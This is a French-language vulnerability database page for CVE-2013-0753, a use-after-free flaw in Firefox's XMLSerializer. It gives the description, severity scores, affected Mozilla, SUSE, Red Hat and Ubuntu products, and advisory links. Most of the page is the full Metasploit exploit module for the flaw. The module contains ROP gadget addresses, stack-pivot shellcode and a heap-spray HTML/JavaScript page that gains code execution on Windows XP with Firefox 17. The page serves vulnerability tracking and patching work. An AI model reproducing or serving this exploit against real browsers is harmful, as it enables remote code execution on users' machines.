CVE-2013-0753 : Détail

CVE-2013-0753

Memory Corruption
87.2%V4
Network
2013-01-13
19h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Use-after-free vulnerability in the serializeToStream implementation in the XMLSerializer component in Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderbird ESR 10.x before 10.0.12 and 17.x before 17.0.2, and SeaMonkey before 2.15 allows remote attackers to execute arbitrary code via crafted web content.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 27940

Date de publication : 2013-08-28 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox XMLSerializer Use After Free', 'Description' => %q{ This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically an use after free of an Element object, when using the serializeToStream method with a specially crafted OutputStream defining its own write function. This module has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'regenrecht', # Vulnerability Discovery, Analysis and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-0753' ], [ 'OSVDB', '89021'], [ 'BID', '57209'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ], [ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ], [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependMigrate' => true }, 'Payload' => { 'BadChars' => "\x00", 'DisableNops' => true, 'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits }, 'Platform' => 'win', 'Targets' => [ [ 'Firefox 17 / Windows XP SP3', { 'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory 'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory 'RetGadget' => 0x77c3ee16, # ret from msvcrt 'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt 'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt } ] ], 'DisclosureDate' => 'Jan 08 2013', 'DefaultTarget' => 0)) end def stack_pivot pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset return pivot end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_status("Agent: #{agent}") if agent !~ /Windows NT 5\.1/ print_error("Windows XP not found, sending 404: #{agent}") send_not_found(cli) return end unless agent =~ /Firefox\/17/ print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end # Fake object landed on 0x0c101008 if heap spray is working as expected code = [ target['FakeVFTable'], target['RetGadget'], target['RetGadget'], target['RetGadget'], target['RetGadget'], target['PopRetGadget'], 0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis ].pack("V*") code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer) code << [target['PopRetGadget']].pack("V") # pop # ret code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'}) js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch)) js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch)) content = <<-HTML <html> <script> var heap_chunks; function heapSpray(shellcode, fillsled) { var chunk_size, headersize, fillsled_len, code; var i, codewithnum; chunk_size = 0x40000; headersize = 0x10; fillsled_len = chunk_size - (headersize + shellcode.length); while (fillsled.length <fillsled_len) fillsled += fillsled; fillsled = fillsled.substring(0, fillsled_len); code = shellcode + fillsled; heap_chunks = new Array(); for (i = 0; i<1000; i++) { codewithnum = "HERE" + code; heap_chunks[i] = codewithnum.substring(0, codewithnum.length); } } function gen(len, pad) { pad = unescape(pad); while (pad.length < len/2) pad += pad; return pad.substring(0, len/2-1); } function run() { var container = []; var myshellcode = unescape("#{js_code}"); var myfillsled = unescape("#{js_random}"); heapSpray(myshellcode,myfillsled); var fake = "%u0000%u0000" + "%u0000%u0000" + "%u0000%u0000" + "%u0000%u0000" + "%u0000%u0000" + "%u0000%u0000" + "%u0000%u0000" + "#{js_ptr}"; var small = gen(72, fake); var text = 'x'; while (text.length <= 1024) text += text; var parent = document.createElement("parent"); var child = document.createElement("child"); parent.appendChild(child); child.setAttribute("foo", text); var s = new XMLSerializer(); var stream = { write: function() { parent.removeChild(child); child = null; for (i = 0; i < 2097152; ++i) container.push(small.toLowerCase()); } }; s.serializeToStream(parent, stream, "UTF-8"); } </script> <body onload="run();"> </body> </html> HTML print_status("URI #{request.uri} requested...") print_status("Sending HTML") send_response(cli, content, {'Content-Type'=>'text/html'}) end end

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version To (excluding) 18.0

Mozilla>>Firefox >> Version From (including) 10.0 To (excluding) 10.0.12

Mozilla>>Firefox >> Version From (including) 17.0 To (excluding) 17.0.2

Mozilla>>Seamonkey >> Version To (excluding) 2.15

Mozilla>>Thunderbird >> Version To (excluding) 17.0.2

Mozilla>>Thunderbird_esr >> Version From (including) 10.0 To (excluding) 10.0.12

Mozilla>>Thunderbird_esr >> Version From (including) 17.0 To (excluding) 17.0.2

Configuraton 0

Opensuse>>Opensuse >> Version 11.4

Opensuse>>Opensuse >> Version 12.1

Opensuse>>Opensuse >> Version 12.2

Suse>>Linux_enterprise_desktop >> Version 10

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_software_development_kit >> Version 10

Suse>>Linux_enterprise_software_development_kit >> Version 11

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 5.0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_eus >> Version 5.9

Redhat>>Enterprise_linux_eus >> Version 6.3

Redhat>>Enterprise_linux_server >> Version 5.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server_aus >> Version 5.9

Redhat>>Enterprise_linux_workstation >> Version 5.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 11.10

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 12.10

Références

http://rhn.redhat.com/errata/RHSA-2013-0145.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ubuntu.com/usn/USN-1681-4
Tags : vendor-advisory, x_refsource_UBUNTU
http://rhn.redhat.com/errata/RHSA-2013-0144.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ubuntu.com/usn/USN-1681-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1681-2
Tags : vendor-advisory, x_refsource_UBUNTU